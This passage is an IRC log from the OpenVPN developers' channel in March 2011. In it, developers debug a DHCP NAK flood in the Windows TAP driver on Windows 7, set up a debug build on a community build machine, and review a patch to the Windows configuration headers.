correction, is: http://openvpn.net/prebuilt/ 09:21 <@vpnHelper> Title: Index of /prebuilt (at openvpn.net) 09:21 <@mattock> except that those won't cut it for current versions 09:30 <@vpnHelper> RSS Update - tickets: #99: Small fix for old GCC <https://community.openvpn.net/openvpn/ticket/99> 09:43 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 246 seconds] 09:45 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 09:50 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 09:58 <+janjust> (back) 09:59 <+janjust> mattock: if I can use the existing buildmachine that would be great 09:59 <+janjust> should we take this offline? 10:06 <+janjust> dazo: I've seen the pastebin log, it is indeed what I was thinking as well; however, now that I also know that the tunnel/teredo interfaces seem involved I'm even more interested in adding debug statements to the tap-win32/dhcp.c code 10:10 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:59 -!- TheSilentTechie [~TheSilent@dslb-084-057-052-132.pools.arcor-ip.net] has joined #openvpn-devel 12:09 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:54 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:54 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:09 <@dazo> jamesyonan: just a quick update on the DHCP NAK issue from yesterday .... Jan Just Keijser will try to built wintap driver with debug ... and he discovered that if the teredo interface was involved, the behaviour changed ... anyhow, he is going to debug further 13:10 <@jamesyonan> interesting 14:35 -!- TheSilentTechie [~TheSilent@dslb-084-057-052-132.pools.arcor-ip.net] has quit [Quit: Verlassend] 15:01 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:03 -!- dazo is now known as dazo_afk 15:51 -!- janjust [~janjust@s5597bc56.adsl.wanadoo.nl] has joined #openvpn-devel 15:51 -!- janjust [~janjust@s5597bc56.adsl.wanadoo.nl] has quit [Changing host] 15:51 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 15:51 -!- mode/#openvpn-devel [+v janjust] by ChanServ 16:51 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 18:31 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 18:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Mar 09 2011 00:22 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 00:54 -!- andj is now known as andj_afk 01:55 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:58 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 01:58 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 02:09 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 02:09 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 02:09 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 02:09 -!- mode/#openvpn-devel [+v janjust] by ChanServ 02:10 <+janjust> ping jamesyonan 02:10 <+janjust> ping mattock 02:10 <@jamesyonan> hi 02:10 <+janjust> hi James! you're up quite late 02:10 <@jamesyonan> yeah, I was about to go to sleep 02:11 <+janjust> hehe ok 02:11 <+janjust> I talked to mattock yesterday about the win7 dhcp issue - are we still on for 1900 UTC today? 02:11 <@jamesyonan> yes, I'm planning on it 02:11 <+janjust> good, I'll be there as well then 02:11 <@jamesyonan> great, see you then 02:12 <+janjust> yup, and I will try to generate some clean wireshark dumps before that time 02:23 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:32 < cron2_> I'll try to make 1900 UTC (2000 MET?) tonight as well 02:40 <+janjust> yep cron2_, 20:00 MET 03:33 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 03:44 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Read error: Operation timed out] 03:46 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 03:46 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:20 -!- dazo_afk is now known as dazo 04:56 <@mattock> janjust: do you have GPG configured? 04:58 <+janjust> GPG? errr, haven't used it in years, I do have a public X509 certificate that I can use to sign emails with 05:00 <+janjust> if you want to send me an encrypted email I can send you an email first with my signing key.... 05:05 <+janjust> mattock: just sent you a signed message with my ssh key included (or else tell me why you need me to set up PGP ;-)) 05:05 <@mattock> janjust: for sending you credentials to the build computer 05:08 <+janjust> that's what I figured ; hmmm I've found a 2 yr old GPG key but I have to configure thunderbird to use it ... 05:11 <@mattock> if that's not too much hassle for you, then I'd appreciate it :) 05:11 <+janjust> working on it... 05:11 <@mattock> excellent! 05:11 <@mattock> I'll prepare the email while your at it 05:18 <+janjust> mattock, you have mail 05:18 <@mattock> I'll send the mail in few mins 05:20 <@vpnHelper> RSS Update - tickets: #100: UDP sockets do not have the close on exec flag <https://community.openvpn.net/openvpn/ticket/100> 05:24 <@mattock> janjust: can you send me your public key as an attachment? 05:26 <+janjust> done 05:28 <@mattock> argh... can't import the key... is OpenPGP different from GnuPG? 05:28 <+janjust> errr, I just created this key using 'gpg' on linux 05:29 <+janjust> perhaps we should go to the #gpg channel :P 05:29 <+janjust> just remembered: GnuPG != OpenPGP ... hmmm this will require more tinkering on my end... 05:29 <@mattock> I'm using enigmail 05:29 <@mattock> http://enigmail.mozdev.org/home/index.php.html 05:29 <@vpnHelper> Title: Enigmail: A simple interface for OpenPGP email security (at enigmail.mozdev.org) 05:30 <@mattock> notice how simple all this is :D 05:34 <+janjust> hehe mattock, I just created a new RSA key and send you an email with it 05:34 <@mattock> haha, worked! 05:36 <@mattock> mail away 05:36 <@mattock> let me know if Enigmail was stupid enough to encrypt my public key, too :) 05:38 <@mattock> I'll send mail about today's meeting, in case others want to chime in 05:39 <@mattock> janjust: just verifying... is this the issue we're going to discuss today: http://thread.gmane.org/gmane.network.openvpn.user/31936 05:39 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 05:40 <@mattock> and this ticket is related: https://community.openvpn.net/openvpn/ticket/97 05:40 <@vpnHelper> Title: #97 (OpenVPN produces DCHP NAK bomb on Win 7 64bit) – OpenVPN Community (at community.openvpn.net) 05:43 <+janjust> nah , enigmail seemed to have done things OK... lemme check the gmane thread 05:44 <+janjust> ah yes, that one; yes it is most likely related 05:46 <@mattock> did you manage to open my mail? 05:46 <+janjust> yep , I have the config file 05:46 <@mattock> excellent! 05:46 <+janjust> I will try it later today 05:46 <@mattock> let me know if you have any issue 05:46 <@mattock> I'll try check the IRC every now and then and be back for the meeting 05:48 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 05:49 <@mattock> mail sent 08:04 < ecrist> ping mattock 08:04 < ecrist> I've decided I think pwm is friggin retarded. 08:05 < ecrist> For a password, I used the following: 08:05 < ecrist> The quick brown fox jumps over the lazy dog. 08:05 < ecrist> I get the error: New password has too many repeating characters 08:25 <@dazo> heh 08:25 <@dazo> too many spaces ;-) 09:01 <@mattock> ecrist: yep, there are too many repeating characters... whether password is 5 or 50 characters long does not matter :) 09:01 <@mattock> that's configurable, though 09:02 <@mattock> there may be some "obviousness" tests, e.g. aaaaaaaa would not work, even if repeating characters check is not used 09:02 <@mattock> not sure 09:26 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:48 -!- wraithdu [81bc2119@gateway/web/freenode/ip.129.188.33.25] has joined #openvpn-devel 09:49 < wraithdu> not to nag, but i was curious if you were going to release an fixed windows binary before the next RC or final release? 10:09 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:18 -!- andj_afk is now known as andj 10:37 < Essobi> YAY, openvpn-2.2-RC-FIPS on suse build services is working. :) 10:45 <@dazo> wraithdu: yeah, we are going to release another RC ... but we're taking our time to see if we need to get more fixes into it 10:45 < wraithdu> sure thing, thanks for the update 10:45 <@dazo> wraithdu: you also had the DHCPNAK bombing, or do I mix things? 10:45 < wraithdu> nope that wasn't me, but i saw it on trac 10:46 < wraithdu> haven't experienced it first hand though 10:46 <@dazo> ahh, okay sorry ... what was yoru issue again? 10:46 * dazo need a memory refresh 10:46 <@dazo> ahh 10:46 < wraithdu> lol, 2.2ReallyCrippled has no server mode functionality 10:46 <@dazo> yeah! 10:46 <@dazo> slow memory refresh today :) 10:47 <@dazo> I believe mattock is already looking at more improvements to the python build utils, which should fix that 10:47 < wraithdu> i never did submit a trac ticket for it... you need me to do that? 10:47 <@dazo> please do that ... we can always forget things ... you can set milestone to 2.2-RC 10:51 < wraithdu> ok... any particular thing you want me to enter as the bug? or just something about 2.2 RC win32 build lacks server functionality... 10:53 < ecrist> no server mode on windows only, or all platforms? 10:54 < wraithdu> i think it was windows only, dazo found an error in the win32_config.h file, if memory serves 10:54 <@dazo> ecrist: Windows only 10:54 <@dazo> wraithdu: just that server features are lacking in 2.2-RC 10:55 < wraithdu> ok 10:55 <@dazo> ecrist: it's related to the new python based build tools ... 2.2-RC is the first release built completely on community build boxes 10:57 < ecrist> ah 10:57 < ecrist> curious how server stuff can be disabled that way. 10:59 < wraithdu> it was a header definition that enbleded a client only mode 11:00 < wraithdu> dazo: set ticket to critical or blocker? 11:00 <@dazo> blocker 11:01 <@dazo> ecrist: the autotools stuff gives you a --disable-server (iirc) ... and there was in the windows config (non-autotools) one wrongly set #define which disabled the server features 11:03 < wraithdu> damn, giving me a permissions error, says i need TICKET_CREATE privs 11:03 <@dazo> wraithdu: you are signed in? 11:03 < wraithdu> yep 11:03 <@dazo> and do you have set an e-mail and name in your preferences? 11:04 < wraithdu> n/m, got it. damn proxy at work messes with sessions on some forums 11:04 <@dazo> ahh 11:04 < wraithdu> ticket #101 11:05 <@dazo> thx! 11:06 < wraithdu> np 11:09 <@vpnHelper> RSS Update - tickets: #101: 2.2-RC missing server mode functions on Windows <https://community.openvpn.net/openvpn/ticket/101> 11:11 -!- TheSilentTechie [~TheSilent@dslb-088-065-139-082.pools.arcor-ip.net] has joined #openvpn-devel 11:16 < wraithdu> thanks again. later. 11:16 -!- wraithdu [81bc2119@gateway/web/freenode/ip.129.188.33.25] has quit [Quit: Page closed] 12:33 -!- dazo is now known as dazo_afk 12:35 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:35 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:57 -!- dazo_afk is now known as dazo 13:06 <@mattock> any news from janjust? 13:06 <@mattock> should he be here now? 13:06 <@mattock> s/"should"/"shouldn\'t"/g 13:06 <@dazo> not anything else than he has his dinner at 19:00 CET ... so he might have a good desert which prolongs his dinner now :-P 13:06 -!- janjust [~janjust@5355E9DA.cm-6-6d.dynamic.ziggo.nl] has joined #openvpn-devel 13:07 <@mattock> hi janjust! 13:07 <@dazo> talking about the sun ..... 13:07 < janjust> hi all 13:07 <@mattock> yep 13:07 <@mattock> jamesyonan: all set? 13:07 < janjust> had a bit of problems getting online - this laptop did not have chat installed :S 13:07 <@jamesyonan> hi guys 13:07 < janjust> hi mattock dazo james 13:08 <@dazo> :) 13:08 <@mattock> jamesyonan: did you have time to look at the email thread and the bug report? 13:08 <@mattock> (I'll find the links) 13:08 <@jamesyonan> so janjust, were you able to repro this with a debugging build of TAP driver? 13:09 < janjust> ah *that* part I did not do yet... but I think I found a workaround 13:09 <@mattock> https://community.openvpn.net/openvpn/ticket/97 13:09 <@mattock> http://thread.gmane.org/gmane.network.openvpn.user/31936 13:09 < janjust> I'm uploading pcap files right now of a working session and 2 failing sessions 13:09 <@vpnHelper> Title: #97 (OpenVPN produces DCHP NAK bomb on Win 7 64bit) – OpenVPN Community (at community.openvpn.net) 13:09 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:10 * dazo will probably just be a silent observer today ... and learn from the wise men :) 13:10 < janjust> I've just added 3 pcap files to the bug report 13:11 < janjust> one where there are tons of DHCP NAK packets right after connecting 13:11 <@jamesyonan> so what is the workaround? 13:11 < janjust> one where the DHCP renewal fails if you launch openvpn in a CMD.EXE window and press F1 (SIGUSR1) 13:11 < janjust> and one where everything seems to work OK 13:12 < janjust> the workaround is a registry hack to disable the Microsoft tunnel interfaces 13:12 <@jamesyonan> is this only an issue on Win7 x64? 13:12 < janjust> don't know but it's the only windows version that I have access to ; other people are reporting problems with win7 32bit as well but that might be a different issue 13:13 < janjust> the reg hack can be found here : http://support.microsoft.com/kb/929852 13:13 < janjust> I have set the DisabledComponents key to "1" 13:13 < janjust> and have not been able to reproduce this "DHCPNAK" storm since then 13:15 < janjust> as for the mailing list thread: I'm especially curious about the remark from 'melbourne' dates 9 mar 04:58 13:16 < janjust> he suggests it would have something to do with timing: openvpn is responding too fast to the windows DHCP client code 13:16 * dazo will laugh if a sleep(1); is all which is needed :) 13:17 <@jamesyonan> sleeping can be tricky in a device driver :) 13:17 <@dazo> yeah :) 13:18 < janjust> true... what I want to do is throw debugging statements all over the place in the driver, esp the parts which deal with returning DHCPNAK/DHCPOFFER etc 13:18 < janjust> when any client connects (XP or 7 ) I always see a DHCPNAK first, then an DHCPOFFER 13:20 < Essobi> Hmm. 13:20 <@dazo> you don't see DHCPDISCOVER first? 13:20 <@dazo> or DHCPREQUEST? 13:20 < Essobi> Is this effecting everyone in 2.2? 13:20 < janjust> check the winxp pcap file in the bug report 13:20 <@dazo> Essobi: I think it goes even back to 2.1 13:20 < janjust> everyone in 2.1 and in 2.2RC , as they both have the same tap-win32 driver 13:20 * dazo looks 13:21 < Essobi> dazo: DHCP only? 13:21 < janjust> my additions from today were all done using 2.1.4 on win7 64bit 13:21 <@jamesyonan> the DHCP code in the driver hasn't changed in years 13:21 < Essobi> do static IP assignments occur over DHCP? 13:22 < Essobi> I'd say no, because we'd have quite a problem here if it was. 13:22 <@jamesyonan> yes, basically any time the server tells the client to set a particular tun/tap IP address, DHCP is used 13:22 < Essobi> Eww. 13:23 < janjust> here's how I tested: launch wireshark , have it listen on the tap-win32 adapter 13:23 < Essobi> Is this a cosmetic protocol problem then? If not, I'd suspect this would be seen far and wide then. 13:23 < janjust> then tell openvpn to connect 13:23 < janjust> the end-user won't really notice ,except for the fact that it takes quite some time to establish a connection 13:24 < janjust> establishing an openvpn connection was/is much faster on WinXP 13:24 < Essobi> Ah.. race-condition finally connects? 13:24 < janjust> if you're lucky; it's also possible to end up with a 169.254 address 13:24 <@jamesyonan> we mostly use DHCP since there is not (to my knowledge) any published API that explains how IP addresses and other properties can be explicitly set for a network device (other than static IP address assignment) 13:25 <@jamesyonan> basically windows lacks ifconfig 13:25 < janjust> jamesyonan, true: also, using DHCP seems to be the "default" method of operation on windows 13:25 <@jamesyonan> well DHCP always seemed to work better than the alternatives 13:25 < janjust> there now is/should be an API to statically set the address, as it can also be done using 'netsh' on Vista/ 13:26 < Essobi> We're using CCD's with ifconfig-push's. 13:26 < janjust> and on Win7 ; but there are quite some advantages to using DHCP (dns resolving, wins, etc) 13:26 <@jamesyonan> the openvpn client supports multiple methods on windows 13:26 < Essobi> ifconfig-push's result in a DHCP send? 13:26 < janjust> Essobi, the vpn client is assigned the address once ; it's the windows dhcp client which talks to the "dhcp-server" built into the tap-win32 driver 13:27 <@dazo> Essobi: on windows, DHCP is always used with OpenVPN 13:27 < Essobi> Hmm.. I need to read up on that tap-win32 archi. 13:27 <@dazo> OpenVPN simulates being a DHCP server 13:28 <@jamesyonan> DHCP is used when "ip-win32" parameter is set to dynamic 13:28 <@dazo> which is the default 13:29 <@jamesyonan> I think DHCP is the right method to use here (netsh has its own set of problems when used for this purpose) 13:29 <@dazo> agreed 13:29 < janjust> I've just checked the order of DHCP events in the working pcap file: 13:30 < janjust> >> request << nack >> discover << offer >> request << ack 13:30 < janjust> (>> = client to server ; << = server to client) 13:31 <@dazo> I just wonder ... why does the first NACK happen? 13:31 <@dazo> the request looks legitimate enough though 13:31 <@mattock> just a coincidence? 13:31 < Essobi> Because the discover wasn't sent first? 13:31 < Essobi> Hmm. 13:31 < janjust> dunno, but that happens on xp as well ; might be that it's trying to renew the old address (i.e. the one it remembered from the previous session) 13:32 <@jamesyonan> if you run the debugging version of the driver and set "verb 6" you will get some good data 13:32 < janjust> I can't test that right now but I will do so tomorrow 13:32 <@jamesyonan> that will explain why it's sending the initial NAK 13:33 <@dazo> another thing ... the TTL is set to 365 days. Which means (iirc things right) that the client can cache the last used IP and use that in DHCP REQ next time it goes online 13:34 <@dazo> to avoid DHCP discovery again and preserving the IP address betweeon offline sessions 13:34 < janjust> hmmm I'll try throwing in an 'ipconfig /release' between 2 sessions 13:34 < janjust> see if that does anything 13:35 <@dazo> that usually doesn't do it ... you need to empty the dhcp cache 13:35 <@mattock> janjust: did you get access to the build box? 13:36 < janjust> mattock, I must say that I haven't gotten round to it - I have this "job" thing too ;-) 13:36 <@mattock> I see :) 13:36 <@mattock> you should be able to build debugging version of the TAP driver easily 13:37 <@dazo> I think mattock meant "easily" ;-) 13:37 < janjust> hehe let me try to get access right now 13:38 <@mattock> jamesyonan: does the !define PRODUCT_TAP_DEBUG in win/settings.in work as intended? 13:38 <@jamesyonan> I thing I would mention -- on the Access Server, we always include dhcp-pre-release, dhcp-renew, and dhcp-release in the client config file 13:39 <@dazo> hmmm 13:39 < janjust> jamesyonan, that is worth testing ! I'll include it in my test tomorrow 13:40 <@jamesyonan> also: we dynamically push "register-dns" 13:40 < janjust> I've added 'register-dns' to the client config, that did not help 13:40 <@dazo> jamesyonan: --dhcp-pre-release? 13:41 <@dazo> ahh, it's lacking in the man page 13:42 <@mattock> dazo: bug report? 13:42 <@dazo> yes, I would say so 13:42 <@jamesyonan> mattock: yes, PRODUCT_TAP_DEBUG should build a debugging TAP driver 13:42 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Remote host closed the connection] 13:43 <@mattock> janjust: all you'd need to do is go to $OPENVPN_SOURCES/win, edit win/settings.in and then say "python.exe build_all.py -u" 13:43 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 13:43 <@mattock> should work properly 13:44 <@mattock> provided Win7 64-bit allows installing unsigned drivers without problems 13:44 < janjust> ok mattock , I'm still setting up the VPN tunnel 13:44 < janjust> it needs a reghack, IIRC , to allow unsigned driver installs 13:45 <@mattock> I would also apply my latest patch from openvpn-devel: otherwise you have to run mt.exe manually for openvpn.exe, openvpnserv.exe, lzo2.dll and libpkcs11-helper-1.dll 13:45 <@mattock> which is tedious 13:45 <@mattock> one more thing... once the build has finished, load win/openvpn.nsi scripts using MakeNSIS (on desktop) 13:46 <@mattock> that generates the installer to $OPENVPN_SOURCES/dist/openvpn-2.2-RC-installer.exe 13:46 <@mattock> very "easy" :) 13:47 < janjust> mattock, did you mail me a community.pass password or can I choose my own? 13:47 <@mattock> use the one you use for Trac 13:47 < janjust> ah.. gotcha 13:47 * janjust inserts "123456" 13:48 <@mattock> good choice 13:48 < ecrist> or the forum. 13:48 < ecrist> it's all in ldap 13:49 <@jamesyonan> while this might not solve the underlying problem, one thing we can do to solve the NAK flood issue would be to mod dhcp.c to not send NAKs after n have already been sent 13:49 < janjust> might help 13:49 < janjust> mattock, I'm in... 13:50 <@mattock> in build comp? 13:50 < janjust> yp 13:50 < janjust> yep 13:50 <@mattock> excellent! 13:50 <@mattock> I suggest launching Git Bash and using that for real work :) 13:50 <@mattock> and a Visual Studio command prompt for building 13:52 <@mattock> jamesyonan: just verifying... so it's ok to remove (basically) all traces of config-win32.h? 13:52 <@mattock> it's not used for anything anymore? 13:54 <@jamesyonan> mattock: aren't you just moving it to win? 13:54 <@mattock> yep, basically renaming it as win/config.h 13:54 < janjust> mattock, I see a pkcs11-helper 1.07 on the build box ; plz make sure you build 2.2RC2 using 1.08 13:54 <@jamesyonan> sure, that's fine 13:54 <@mattock> ok, good 13:55 <@mattock> janjust: it's using 1.08 actually 13:55 <@mattock> if you're refering to the recently released version with the management interface fix 13:56 < janjust> yep, the pkcs11h_close or pkcs11h_free thingie 13:56 <@mattock> the 1.07 is probably just a leftover 13:56 <@mattock> yeah, I fixed that... feel free to delete the 1.07 directory in c:\openvpn-build 13:57 < janjust> kewl - I think I just built my first tap-win32 (amd64) driver (no code changes so far) 13:57 <@mattock> jamesyonan: I think the new buildsystem won't work if there are spaces in the working directory pathname (e.g. c:\Documents and Settings\something) 13:58 <@mattock> janjust: nice! 13:58 <@jamesyonan> mattock: yeah, I've never tested it with a spaced path 13:58 <@mattock> the TAP-driver should end up in $OPENVPN_SOURCES/dist/amd64|i386 13:59 < janjust> yep, found it 13:59 <@mattock> jamesyonan: I haven't checked again, but I encountered issues at the beginning, which removing spaces fixed 14:00 <@mattock> janjust: you can manually uninstall and install the TAP drivers using tapinstall.exe... win/openvpn.nsi will show you what to do :) 14:00 < janjust> hmmm running 'python.exe build_all.py -u ' resulted in an error (directory already exists) 14:00 < janjust> I meant running it *again* 14:00 <@mattock> are in "dist" directory by any chance? 14:00 <@mattock> I mean, something locking the dist directory from deletion? 14:00 < janjust> yep , in second window 14:00 <@mattock> cd .. :) 14:00 <@mattock> that's a known gotcha 14:01 <@mattock> at the "make dist" phase it tries to delete "dist" 14:01 < janjust> makes sense 14:01 < janjust> it rebuilds just fine now... 14:02 < janjust> hehe I'm turning into an openvpn developer ;-) 14:03 <@mattock> janjust: you definitely should experience setting up the WIndows build environment yourself :P 14:03 <@mattock> lots of fun 14:04 * janjust grins :) 14:04 < janjust> but not tonight, it's 9 pm over here and I don't want to sit behind a computer screen 24 hrs/day 14:05 <@mattock> shall we continue this tomorrow? 14:05 <@mattock> maybe in the official meeting? 14:05 < janjust> yep, I want to run the tests jamesyonan suggested using the debug build 14:05 < janjust> I won't be here tomorrow night, I have to go drink wine with a friend :) 14:05 <@mattock> ok 14:05 <@mattock> "have to" :D 14:06 < janjust> hehe actually, it's someone I've been pushing to use openvpn for his startup company ;-) 14:06 < janjust> OK, thx all, more tomorrow... 14:06 <@mattock> yep, see you! 14:07 -!- janjust [~janjust@5355E9DA.cm-6-6d.dynamic.ziggo.nl] has quit [Quit: Leaving] 14:16 -!- TheSilentTechie [~TheSilent@dslb-088-065-139-082.pools.arcor-ip.net] has left #openvpn-devel ["Verlassend"] 14:23 -!- dazo is now known as dazo_afk 14:27 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:27 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:27 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 15:53 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 18:55 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 18:57 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 18:57 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 18:57 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 19:11 -!- andj is now known as andj_afk 19:55 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 19:55 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 19:55 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 19:55 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 23:12 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Thu Mar 10 2011 00:37 -!- andj_afk is now known as andj 00:59 -!- andj is now known as andj_afk 01:49 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 01:52 -!- genlight [~genlight@acl1-830bts.gw.smartbro.net] has joined #openvpn-devel 01:59 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 02:04 -!- genlight [~genlight@acl1-830bts.gw.smartbro.net] has quit [] 02:30 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:38 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 02:39 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 03:10 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:20 -!- dazo_afk is now known as dazo 04:49 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 246 seconds] 04:51 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 04:51 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 04:51 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:51 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:53 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 04:55 <+janjust> where can I find a (signed?) debug build of the tap-win32 amd64 driver? 05:11 <@dazo> janjust: probably in the 2.2-RC builds 05:11 <@dazo> but not on the community servers 05:11 <+janjust> and on build.openvpn.net (or whatever it was called) ? 05:12 <@dazo> http://swupdate.openvpn.net/community/releases/ 05:12 <@vpnHelper> Title: Index of /community/releases/ (at swupdate.openvpn.net) 05:12 <@dazo> build.openvpn.net is a community server as well 05:36 <+janjust> hmmm last DBG build I can find is 2.1_rc7 ; don't know if that works on Win7 ... 06:34 <@mattock1> janjust: check this out: https://community.openvpn.net/openvpn/wiki/BuildingOnWindows#PackagingOpenVPN 06:34 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 06:35 <@mattock1> oh, signed debug build... there's none afaik 06:36 <@mattock1> dazo: meeting today? 06:36 <@mattock1> janjust: are you using the build computer currently? 06:36 <@dazo> mattock1: hmmm ... maybe, yeah ... what's on the agenda? 06:36 <@mattock1> not sure, do we need a meeting? 06:37 * dazo has an open invitation to join colleagues for some beers 17:00 CET :-P 06:37 <@dazo> We might not need it 06:37 <@mattock1> what's the status of beta2.2 branch, e.g. TAP-driver? 06:37 <@mattock1> I agree 06:37 <@dazo> cron2 said get it in, you said the same ... so I'm willing to do that 06:38 <@mattock1> james said he could sign the installer and TAP-driver next Thursday 06:38 <@dazo> Let's get that in ... what about your py-win-build stuff? 06:38 <@mattock1> also, I need to get my latest patch (and second one coming today) ACKd 06:39 <@dazo> yeah ... that would be great, esp. if that solves the issues with lack of server features on Windows build 06:39 <@mattock1> the second patch replaces config-win32.h with config.h generated from win/config.h.in 06:39 <@dazo> cool! 06:39 <@mattock1> touches quite a few files, but the changes are pretty trivial 06:39 <@dazo> if you pastebin it I can do a quick review of stuff I know about 06:39 <@mattock1> ok 06:39 <@mattock1> I have not yet tested it, but I'll put it to pastebin anyways 06:40 <@dazo> it would also be great if you could to a local checkout of your tree, and try to build from a clean tree ... (git clone /path/to/repo/.git [name of local clone]) 06:41 <@dazo> just to avoid the extra cycles we had before the last release 06:41 <@mattock1> http://pastebin.com/aPHdmsv4 06:42 * dazo looks 06:42 <@mattock1> pastebin seems to get confused with DOS linefeeds 06:44 <@mattock1> dazo: or maybe "git clone ..." and apply my latest work on top of it as patches? 06:44 <@dazo> +/* Windows doesn't support PTHREAD yet */ 06:44 <@dazo> +#ifdef USE_PTHREAD 06:44 <@dazo> +#error The Windows version of OpenVPN does not support PTHREAD yet 06:44 <@dazo> +#endif 06:44 <@dazo> that's from win/config.in.h ... that can be taken out ... USE_PTHREAD should not be found anywhere now 06:45 <@mattock1> ok, I'll fix that 06:45 <@dazo> yeah, that's also a good thing 06:45 <+janjust> mattock1: just got back and no, I'm not using the build BC 06:46 <@mattock1> janjust: ok, I'll test my patch then 06:46 <@dazo> I found out why git am was picky about your patches .... it reacted to whitespace issues ... so when I told it to ignore that in git 1.7, it accepted them immediately 06:46 <@mattock1> ok 06:46 <@mattock1> fortunately my Ubuntu 9.10 is EOL in 1 month, so I got to upgrade it :P 06:46 <@mattock1> and git along with it 06:47 <@dazo> + 06:47 <@dazo> +/* Enable client capability only */ 06:47 <@dazo> +#define ENABLE_CLIENT_ONLY 06:47 <@dazo> this one is bad 06:47 <@dazo> that's the one we had issues with .... because it's checked for #ifdef ENABLE_CLIENT_ONLY ... and ENABLE_CLIENT_ONLY is defined, just as blank 06:47 <@mattock1> oh yes, I'll comment that out 06:48 <@dazo> +/* #undef ENABLE_SMALL */ 06:48 <@dazo> that's the proper way, which is used by autotools too 06:49 <@dazo> mattock1: I think that looks pretty good, with these things fixed 06:50 <@dazo> I also see that PACKAGE_BUGREPORT is not used anywhere 06:52 <@mattock1> so like this: /* #define ENABLE_CLIENT_ONLY */ 06:52 <@mattock1> rather than // #define ... 06:52 <@dazo> #undef 06:53 <@dazo> /* #undef ENABLE_CLIENT_ONLY */ 06:53 <@dazo> so if somebody removes the comments ... it's still disabled - just a double security 06:53 <@dazo> but you document what the default is nicely this way 06:54 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 06:57 <@mattock1> ok, makes sense 06:57 <@mattock1> -> fix 06:57 <@mattock1> we need to sort out the settings.in vs. config.h.in mess, too 06:58 <@dazo> cron2_: I'm rebasing the feat_ipv6_wintap branch against beta2.2 now ... would you be able to review the branch afterwards? 06:58 <@dazo> mm 06:58 <@dazo> but we're on a good path now anyway :) 06:58 <@mattock1> currently ENABLE_* stuff is in settings.in (as proposed by James), but the rest in config.h.in 06:58 <@mattock1> the purpose of these files is not atm 100% clear 06:59 <@mattock1> I would put build environment stuff into win/settings.in and build configuration into config.h.in 06:59 <@dazo> well, config.h.in does have some useful non-feature 